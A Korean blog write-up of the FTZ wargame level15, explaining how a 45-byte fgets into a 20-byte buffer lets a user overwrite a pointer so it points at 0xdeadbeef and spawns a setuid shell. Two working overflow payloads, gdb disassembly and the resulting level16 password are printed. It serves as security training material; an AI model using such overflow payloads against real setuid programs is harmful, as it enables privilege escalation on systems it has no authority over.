[FTZ] level15 ํ’€์ด

3 ๋ถ„ ์†Œ์š”

๐Ÿ’ก FTZ level15 ํ’€์ด

๋ฌธ์ œ

๊ณ„์ • : level15/guess what

hint

#include <stdio.h>

main()
{ int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}

ํ’€์ด

์ด๋ฒˆ ๋ฌธ์ œ๋Š” 2๊ฐ€์ง€์˜ ๋ฐฉ๋ฒ•์œผ๋กœ ํ’€์–ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

ํ™˜๊ฒฝ๋ณ€์ˆ˜

๊ณ„์† ์ด์šฉํ•˜๋˜ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ์ด์ „ ๋ฌธ์ œ๋“ค๊ณผ ๋‹ค๋ฅด๊ฒŒ ์ฃผ์˜๋ฅผ ํ•ด์•ผ ํ•˜๋Š” ๋ถ€๋ถ„์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

์ด๋ฒˆ ๋ฌธ์ œ๋Š” ret ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด ์“ฐ๋Š”๊ฒŒ ์•„๋‹Œ, check ๋ณ€์ˆ˜๋ฅผ ๋ฎ์–ด์จ์„œ check ๋ณ€์ˆ˜์˜ ํฌ์ธํ„ฐ๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ๋Š” ์œ„์น˜์— 0xdeadbeef ๊ฐ’์ด ์žˆ์œผ๋ฉด ์‰˜์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ์‰˜์„ ๋”ฐ๋Š” ๋ฌธ์ œ๋“ค์—์„œ๋Š” ํ™˜๊ฒฝ๋ณ€์ˆ˜์˜ ์œ„์น˜๊ฐ€ ๋ช‡ ๋ฐ”์ดํŠธ ๋‹ค๋ฅด๊ฒŒ ๋‚˜์™€๋„ nop(0x90) ๋ฌธ์ž๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ณด์™„ํ•ด ์คฌ๋‹ค๋ฉด, ์ด๋ฒˆ ๋ฌธ์ œ์—์„œ๋Š” 1๋ฐ”์ดํŠธ๋ผ๋„ ๋‹ค๋ฅด๋ฉด segmentation falut ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์šฐ์„  โ€˜์ •ํ™•ํ•˜๊ฒŒโ€™ ํ™˜๊ฒฝ๋ณ€์ˆ˜์˜ ์œ„์น˜๋ฅผ ๋งž์ถ”๊ธฐ ์œ„ํ•ด์„œ ์•Œ์•„์•ผ ํ•˜๋Š” ์‚ฌํ•ญ์€ ํ™˜๊ฒฝ๋ณ€์ˆ˜๊ฐ€ ์Šคํƒ์— ๋ถˆ๋Ÿฌ์ง„๋‹ค๋Š” ์‚ฌ์‹ค๊ณผ, ์ด ๋ณ€์ˆ˜๋“ค์€ ์‹คํ–‰ ํ”„๋กœ๊ทธ๋žจ ์ด๋ฆ„์— ๊ธธ์ด์— ์˜ํ–ฅ์„ ๋ฐ›๋Š”๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋‹ค์Œ์˜ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด ๊ฐ™์€ ํ™˜๊ฒฝ๋ณ€์ˆ˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜๋Š” ์ฝ”๋“œ์ง€๋งŒ ์ด๋ฆ„์ด 1๊ธ€์ž ์ฐจ์ด์— ์œ„์น˜๊ฐ€ 2 byte ์ฐจ์ด๊ฐ€ ๋‚˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

[level15@ftz tmp]$ echo 'int main(){printf("%p\n",getenv("CHECK"));}'>> env.c
[level15@ftz tmp]$ gcc -o env12345 env.c
[level15@ftz tmp]$ gcc -o env1234 env.c
[level15@ftz tmp]$ gcc -o env123 env.c
[level15@ftz tmp]$ ./env123
0xbffffcc3
[level15@ftz tmp]$ ./env1234
0xbffffcc1
[level15@ftz tmp]$ ./env12345
0xbffffcbf

๋”ฐ๋ผ์„œ ์ด๋ฒˆ์—๋Š” ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ฅผ ์ •ํ™•ํ•˜๊ฒŒ ์–ป๊ธฐ ์œ„ํ•ด์„œ attackme ํ”„๋กœ๊ทธ๋žจ์˜ ์ด๋ฆ„ ๊ธธ์ด๊ฐ€ 8์ž๋ฆฌ ์ด๋ฏ€๋กœ env12345 ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ ๊ตฌํ•œ 0xbffffcbf์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

gdb๋ฅผ ์ด์šฉํ•˜์—ฌ buf ์œ„์น˜์™€ check ๋ณ€์ˆ˜์˜ ์œ„์น˜๊ฐ€ ์–ผ๋งŒํผ ์ฐจ์ด๋‚˜๋Š”์ง€ ํ™•์ธ ํ•ฉ๋‹ˆ๋‹ค.

[level15@ftz level15]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x08048490 <main+0>:    push   ebp
0x08048491 <main+1>:    mov    ebp,esp
0x08048493 <main+3>:    sub    esp,0x38
0x08048496 <main+6>:    sub    esp,0x4
0x08048499 <main+9>:    push   ds:0x8049664
0x0804849f <main+15>:   push   0x2d
0x080484a1 <main+17>:   lea    eax,[ebp-56]       //buf ์œ„์น˜
0x080484a4 <main+20>:   push   eax
0x080484a5 <main+21>:   call   0x8048360 <fgets>
0x080484aa <main+26>:   add    esp,0x10
0x080484ad <main+29>:   mov    eax,DWORD PTR [ebp-16]   //check ์œ„์น˜
0x080484b0 <main+32>:   cmp    DWORD PTR [eax],0xdeadbeef
0x080484b6 <main+38>:   jne    0x80484dd <main+77>
0x080484b8 <main+40>:   sub    esp,0x8
0x080484bb <main+43>:   push   0xc18
0x080484c0 <main+48>:   push   0xc18
0x080484c5 <main+53>:   call   0x8048380 <setreuid>
0x080484ca <main+58>:   add    esp,0x10
0x080484cd <main+61>:   sub    esp,0xc
0x080484d0 <main+64>:   push   0x8048548
0x080484d5 <main+69>:   call   0x8048340 <system>
0x080484da <main+74>:   add    esp,0x10
0x080484dd <main+77>:   leave
0x080484de <main+78>:   ret
0x080484df <main+79>:   nop
End of assembler dump.

์ด 40๋ฐ”์ดํŠธ์˜ ์œ„์น˜๊ฐ€ ์ฐจ์ด ๋‚ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ dummy ๋ฌธ์ž๋กœ 40๋ฐ”์ดํŠธ๋ฅผ ์ฒด์šด ๋’ค, ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ์ฃผ์†Œ๋ฅผ ์ž…๋ ฅํ•ด ์ค๋‹ˆ๋‹ค. ์„ฑ๊ณต์ ์œผ๋กœ ์‰˜์„ ํš๋“ํ–ˆ์Šต๋‹ˆ๋‹ค.

[level15@ftz level15]$ (python -c'print("A"*40+"\xbf\xfc\xff\xbf")';cat)|./attackme

id
uid=3096(level16) gid=3095(level15) groups=3095(level15)

my-pass
Level16 Password is "about to cause mass".

์Šคํƒ์—์„œ ์ฐพ๊ธฐ

check์˜ ํฌ์ธํ„ฐ์˜ ๊ฐ’๊ณผ 0xdeadbeef ๊ฐ’์„ ๋น„๊ต๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด์„œ ๋ถ„๋ช…ํžˆ ๋ฉ”๋ชจ๋ฆฌ ์ƒ์— 0xdeadbeef ๊ฐ’์„ ์ €์žฅํ•œ ์œ„์น˜๊ฐ€ ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ด๋ฒˆ์—๋Š” ๊ทธ ๊ฐ’์„ ์ฐพ์•„์„œ ํ•ด๊ฒฐํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

๋จผ์ € ๋””๋ฒ„๊น…์„ ์œ„ํ•ด์„œ attackme ํŒŒ์ผ์„ tmpํด๋”๋กœ ๋ณต์‚ฌํ•œ ๋’ค์— gdb๋ฅผ ์‹คํ–‰์‹œ์ผœ ์ค๋‹ˆ๋‹ค.

[level15@ftz tmp]$ gdb -q attackme
(gdb) set disas intel
(gdb) disass main
Dump of assembler code for function main:
0x08048490 <main+0>:    push   ebp
0x08048491 <main+1>:    mov    ebp,esp
0x08048493 <main+3>:    sub    esp,0x38
0x08048496 <main+6>:    sub    esp,0x4
0x08048499 <main+9>:    push   ds:0x8049664
0x0804849f <main+15>:   push   0x2d
0x080484a1 <main+17>:   lea    eax,[ebp-56]
0x080484a4 <main+20>:   push   eax
0x080484a5 <main+21>:   call   0x8048360 <fgets>
0x080484aa <main+26>:   add    esp,0x10
0x080484ad <main+29>:   mov    eax,DWORD PTR [ebp-16]
0x080484b0 <main+32>:   cmp    DWORD PTR [eax],0xdeadbeef //๋ธŒ๋ ˆ์ดํฌ ์ง€์ 
0x080484b6 <main+38>:   jne    0x80484dd <main+77>
0x080484b8 <main+40>:   sub    esp,0x8
0x080484bb <main+43>:   push   0xc18
0x080484c0 <main+48>:   push   0xc18
0x080484c5 <main+53>:   call   0x8048380 <setreuid>
0x080484ca <main+58>:   add    esp,0x10
0x080484cd <main+61>:   sub    esp,0xc
0x080484d0 <main+64>:   push   0x8048548
0x080484d5 <main+69>:   call   0x8048340 <system>
0x080484da <main+74>:   add    esp,0x10
0x080484dd <main+77>:   leave
0x080484de <main+78>:   ret
0x080484df <main+79>:   nop
End of assembler dump.

ํฌ์ธํ„ฐ ๊ฐ’๊ณผ 0xdeadbeef ๊ฐ’์„ ๋น„๊ณ ใ…›ํ•˜๋Š” ์ง€์ ์ธ main+32์ฃผ์†Œ์— ๋ธŒ๋ ˆ์ดํฌ๋ฅผ ๊ฑธ๊ณ  ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

(gdb) b *main+32
Breakpoint 1 at 0x80484b0
(gdb) run
Starting program: /home/level15/tmp/attackme
test

Breakpoint 1, 0x080484b0 in main ()
(gdb) info reg
eax            0xbffff138       -1073745608
ecx            0x5      5
edx            0x4212e130       1108533552
ebx            0x42130a14       1108544020
esp            0xbffff100       0xbffff100
ebp            0xbffff138       0xbffff138
esi            0x40015360       1073828704
edi            0x8048520        134513952
eip            0x80484b0        0x80484b0
eflags         0x286    646
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x33     51

eip ์ง€์ ์— ๋Œ€ํ•ด์„œ 16๊ฐœ์˜ word๋ฅผ ์ถœ๋ ฅํ•ด ๋ด…๋‹ˆ๋‹ค.

(gdb) x/16xw $eip
0x80484b0 <main+32>:    0xbeef3881      0x2575dead      0x6808ec83      0x00000c18
0x80484c0 <main+48>:    0x000c1868      0xfeb6e800      0xc483ffff      0x0cec8310
0x80484d0 <main+64>:    0x04854868      0xfe66e808      0xc483ffff      0x90c3c910
0x80484e0 <__do_global_ctors_aux>:      0x53e58955      0xa104ec83      0x0804962c      0x04962cbb
(gdb)

๋งจ ์ฒ˜์Œ 2๊ฐœ์˜ word๋ฅผ ๋ณด๋ฉด beef์™€ dead๊ฐ€ ๋‚˜๋ˆ„์–ด์„œ ์ €์žฅ๋˜์–ด ์žˆ๋Š”๊ฒŒ ๋ณด์ž…๋‹ˆ๋‹ค. ํ˜„์žฌ ์ฃผ์†Œ๊ฐ€ 0xb0์œผ๋กœ ๋๋‚˜๋ฏ€๋กœ 2๋ฐ”์ดํŠธ๋ฅผ ๋ฐ€์–ด์„œ ์ถœ๋ ฅํ•ด ๋ด…๋‹ˆ๋‹ค.

(gdb) x/2xw 0x80484b2
0x80484b2 <main+34>:    0xdeadbeef      0xec832575
(gdb)

0xdeadbeef๊ฐ€ ์ €์žฅ๋œ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋Š” 0x80484b2์ž…๋‹ˆ๋‹ค.

์ด๋ฅผ ์ด์šฉํ•ด์„œ check ๊ฐ’์„ ํ•ด๋‹น ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์ฃผ๋ฉด ์‰˜์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

[level15@ftz level15]$ (python -c 'print("A"*40+"\xb2\x84\x04\x08")';cat) | ./attackme
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)

ํƒœ๊ทธ:

์นดํ…Œ๊ณ ๋ฆฌ:

์—…๋ฐ์ดํŠธ:

๋Œ“๊ธ€๋‚จ๊ธฐ๊ธฐ